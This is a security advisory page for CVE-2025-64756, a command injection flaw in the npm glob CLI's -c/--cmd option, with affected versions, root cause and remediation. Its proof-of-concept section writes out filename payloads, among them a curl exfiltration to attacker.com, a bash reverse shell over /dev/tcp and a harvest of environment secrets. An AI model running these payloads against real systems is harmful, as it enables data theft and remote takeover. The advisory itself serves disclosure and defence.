CVE-2025-64756: glob CLI: Command injection via -c/--cmd executes matches with shell:true
Summary The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Published Nov 17, 2025 · Updated Nov 19, 2025
Affected packages
glob
- Ecosystem
- npm
- Affected
- >= 11.0.0, < 11.1.0
- Fixed in
- 11.1.0
- Check
npm ls glob
glob
- Ecosystem
- npm
- Affected
- >= 10.2.0, < 10.5.0
- Fixed in
- 10.5.0
- Check
npm ls glob
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))Technical Flow:
- User runs
glob -c <command> <pattern> - CLI finds files matching the pattern
- Matched filenames are collected into an array
- Command is executed with matched filenames as arguments using
shell: true - Shell interprets metacharacters in filenames as command syntax
- Malicious filenames execute arbitrary commands
Affected Component:
- CLI Only: The vulnerability affects only the command-line interface
- Library Safe: The core glob library API (
glob(),globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface:
- Files with names containing shell metacharacters:
$(), backticks,;,&,|, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads)
- CI/CD pipelines using
glob -con untrusted content
PoC
Setup Malicious File:
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"Result:
- The echo command executes normally
- Additionally: The
$(touch injected_poc)in the filename is evaluated by the shell - A new file
injected_pocis created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'Impact
Arbitrary Command Execution:
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
- Malicious PR adds files with crafted names to repository
- CI pipeline uses
glob -cto process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials
- Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
- Developer clones repository or extracts archive containing malicious filenames
- Local build scripts use
glob -cfor file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
Platform-Specific Risks:
- POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
- Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
- Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm
- Package name: glob
- Component: CLI only (
src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
- Introduced: v10.2.0 (first release with CLI containing
-c/--cmdoption) - Patched versions: 11.1.0and 10.5.0
Scope Limitation:
- Library API Not Affected: Core glob functions (
glob(),globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with
-c/--cmdoption is vulnerable
Remediation
- Upgrade to
[email protected],[email protected], or higher, as soon as possible. - If any
globCLI actions fail, then convert commands containing positional arguments, to use the--cmd-arg/-goption instead. - As a last resort, use
--shellto maintainshell:truebehavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Credited to Gyde04, aisle-research, G-Rath, bchew, qwilr-altonius, llwslc, EinfachHans, skremiec, AlanGreene, isaacs.
References
- https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2
- https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146
- https://nvd.nist.gov/vuln/detail/CVE-2025-64756
- https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f
- https://github.com/advisories/GHSA-5j98-mcp5-4vw2
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
